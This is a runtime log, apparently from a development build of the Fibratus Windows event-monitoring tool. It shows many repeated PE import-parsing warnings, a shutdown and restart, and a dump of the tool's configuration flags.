source=pe/parser.go:239 +time=2025-11-11T14:49:41+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:41+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:41+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:41+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:41+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:49:52+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T14:49:52+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:49:54+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:49:54+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:49:55+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:51:16+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-11T14:51:16+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-11T14:51:16+01:00 level=info msg=bootstrapping with pid 19388. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-11T14:51:16+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-timeout=>4s flush-period=>200ms] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>true sound=>true] slack=>[ enabled=>false] mail=>[ content-type=>text/html to=>[] enabled=>false port=>25 use-template=>true] eventlog=>[ enabled=>true verbose=>false]] + api ............................ [ timeout=>15s transport=>localhost:8080] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + kevent ......................... [ serialize-images=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-pe=>false] + kstream ........................ [ blacklist=>[ images=>[] events=>[]] enable-image=>true enable-mem=>true enable-thread=>true enable-fileio=>true buffer-size=>512 enable-registry=>true enable-vamap=>true enable-audit-api=>true enable-dns=>true flush-interval=>1s enable-handle=>false stack-enrichment=>true min-buffers=>16 max-buffers=>36 enable-net=>true] + logging ........................ [ formatter=>text max-age=>0 level=>info log-stdout=>true max-size=>100 max-backups=>15] + output ......................... [ amqp=>[ tls-insecure-skip-verify=>false url=>amqp://localhost:5672 routing-key=>fibratus exchange-type=>topic exchange=>fibratus delivery-mode=>transient durable=>false enabled=>false passive=>false vhost=>/ timeout=>5s] elasticsearch=>[ healthcheck-interval=>10s flush-period=>1s template-name=>fibratus index-name=>fibratus sniff=>false enabled=>false healthcheck=>true timeout=>5s healthcheck-timeout=>5s trace-log=>false bulk-workers=>1 gzip-compression=>false servers=>[http://127.0.0.1:9200]] eventlog=>[ level=>info enabled=>false] http=>[ method=>POST serializer=>json enable-gzip=>false enabled=>false timeout=>5s endpoints=>[] tls-insecure-skip-verify=>false] console=>[ format=>pretty template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }} enabled=>true]] + pe ............................. [ read-symbols=>false read-resources=>false read-sections=>false enabled=>false excluded-images=>[]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ kparams=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ alert-via=>mail scan-timeout=>10s alert-template=>[] fastscan=>true excluded-procs=>[] enabled=>false excluded-files=>[] skip-files=>true] source=bootstrap/bootstrap.go:183 +time=2025-11-11T14:51:16+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-11T14:51:18+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:51:19+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:51:19+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:51:19+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 